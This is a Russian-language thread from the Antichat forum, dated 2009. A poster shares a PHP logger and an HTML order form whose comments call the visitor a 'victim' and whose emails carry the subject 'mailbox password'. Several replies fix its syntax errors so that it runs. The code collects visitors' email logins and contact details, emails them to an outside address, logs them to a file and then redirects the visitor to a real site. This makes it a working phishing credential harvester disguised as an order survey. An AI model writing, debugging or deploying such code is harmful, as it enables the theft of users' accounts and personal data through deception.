Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   прошу помочь разобраться с кодом (https://forum.antichat.xyz/showthread.php?t=112411)

satana-fu 22.03.2009 07:45

прошу помочь разобраться с кодом
 
Прошу помочь с кодом опросника. Вроде все правильно, но какая то ошибка проскочила. вот сам код лога php

Код:

<?PHP
$Login = $_POST['login']; //Логин
$radio = $_POST['radio']; //  частота пользования
$e_zakaz = $_POST['e_zakaz']; // Заказ
$3_pole = $_POST['3_pole']; // данные клиента
$otkuda = $_POST['otkuda']; // откуда узнали о сайте
$Other = $_POST['Other]; // другая информация
$ip = $_SERVER["REMOTE_ADDR"]; // IP Жертвы
$Data = date("d-m-y H:i:s", time()); // Дата и время

$text = "[$Data] IP:$ip Мыло:$Login@Domain частота пользования:$radio; заказ$e_zakaz; данные клиента$3_pole; откуда узнали о сайте:$otkuda; другая информация:$Other;
$to = "mail@mail.ru"; // кому присылаем данные ( E-mail адресс )
$sub = " Пароль от ящика: $Login@Domain"; // тема письма
mail($to,$sub,$text); // Отсылаем сообщение на E-mail
$filelog = fopen("file.php","a+"); //открываем файл базы
fwrite($filelog,"\n $text \n"); //записываем всё
fclose($filelog); //закрываем

echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://site.ru'></head></html>"; //
?>


а тут код формы опросника.




Код:

  <form name="Zakaz_form" method="post" action="log.php">  <input type="text" name="e_zakaz" id="e_zakaz"> @
            <select name="Domain" size="1" id="Serv" tabindex="1">
              <option>mail.ru</option>
              <option>inbox.ru</option>
              <option>list.ru</option>
              <option>bk.ru</option>
              <option>yandex.ru</option>
              <option>rambler.ru</option>
              </select>
            </p>
            <p> Частота пользования:</p>
            <p class="стиль6">
              <label>
              <input type="radio" name="radio" id="evryday" value="evryday">
              <span class="стиль7">Ежедневно</span></label>
              <label>
              <input type="radio" name="radio" id="2-3 times" value="2-3 times">
              <span class="стиль7">2-3 раза в неделю</span></label>
              <label>
              <input type="radio" name="radio" id="redko" value="redko">
              <span class="стиль7">менее 1 раза в неделю</span></label>
                          </p>
<img src="http://bin-cgi.ru/img/s.gif" border="0">
            Ваши контактные данные (e-mail или ICQ)
            :
              <input name="3_pole" type="text" id="3_pole" size="50">
         
            <p>Выбирите способ оплаты:</p>
            <p>              <select name="oplata" id="oplata" tabindex="1">
                <option>WebMoney WMZ</option>
                <option>WebMoney WMR</option>
                </select>
              </p>
            <p>Откуда вы узнали о нашем сайте?              </p><p>  <input type="text" name="otkuda" id="otkuda">
              </p>
              <p> Дополнительные сведенья:      </p>
              <textarea name="Other" id="Other" cols="45" rows="5"></textarea>
         
            <div align="center">
              <input name="Zakazat" type="submit" id="Zakazat" onClick="log.php" onDblClick="log.php" onKeyPress="log.php" onKeyDown="log.php" onKeyUp="log.php" value="Заказать">         
                </div> </form>


Прошу помочь исправить код, если вас это не затруднит.

С уважением

presidentua 22.03.2009 13:48

Напиши какая ошибка происходит. Что показывает.

satana-fu 22.03.2009 14:09

выдает следующую ошибку при исполнении файла log.php


Код:

Parse error: syntax error, unexpected T_LNUMBER, expecting T_VARIABLE or '$' in /home/site/domains/site.ru/public_html/log.php on line 5

-=Static=- 22.03.2009 14:18

PHP код:

$3_pole $_POST['3_pole']; // данные клиента 

Имя переменной НЕ может начинаться с ЦИФРЫ!!!
Читай учебники

ph1l1ster 22.03.2009 14:19

Цитата:

$3_pole = $_POST['3_pole']; // данные клиента
помоему переменную нельзя начинать с цыфры.

.:EnoT:. 22.03.2009 14:20

PHP код:

$3_pole $_POST['3_pole']; // данные клиента 

Имя переменной не может начинаться с цифры. Обзови её например $pole_3.

P.S. вот вы быстрые :D

eLWAux 22.03.2009 14:43

PHP код:

<?PHP
$Login 
$_POST['login']; //Логин
$radio $_POST['radio']; //  частота пользования
$e_zakaz $_POST['e_zakaz']; // Заказ
$three_pole $_POST['three_pole']; // данные клиента
$otkuda $_POST['otkuda']; // откуда узнали о сайте
$Other $_POST['Other']; //!!!!!!!!!!!/// другая информация
$ip $_SERVER["REMOTE_ADDR"]; // IP Жертвы
$Data date("d-m-y H:i:s"time()); // Дата и время

$text '['.$Data'] IP:'.$ip.' Мыло:'.$Login.'@Domain частота пользования:'.$radio.'; заказ'.$e_zakaz.'; данные клиента'.$three_pole.'; откуда узнали о сайте:'.$otkuda.'; другая информация:'.$Other;
$to "mail@mail.ru"// кому присылаем данные ( E-mail адресс )
$sub " Пароль от ящика: $Login@Domain"// тема письма
mail($to,$sub,$text); // Отсылаем сообщение на E-mail
$filelog fopen("file.php","a+"); //открываем файл базы
fwrite($filelog,"\n $text \n"); //записываем всё
fclose($filelog); //закрываем

echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://site.ru'></head></html>"// 
?>


satana-fu 22.03.2009 15:40

ух ты, какие вы быстрые)))))))) впервые за два года на античате попросил помощь, и сразу же получил))))))))), Спасибо большое, расцеловать бы вас, да не дотянусь... Честно, спасибо большое, щас попробую исправить

satana-fu 22.03.2009 15:51

eLWAux использовал твою модерницазию с three_pole, и теперь выдал следующую ошибку :mad: :mad:

Код:

Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /home/site/domains/site.ru/public_html/log.php on line 11

Vid0k 22.03.2009 15:55

PHP код:

$text '['.$Data.'] IP:'.$ip.' Мыло:'.$Login.'@Domain частота пользования:'.$radio.'; заказ'.$e_zakaz.'; данные клиента'.$three_pole.'; откуда узнали о сайте:'.$otkuda.'; другая информация:'.$Other

точку пропустил


Время: 06:35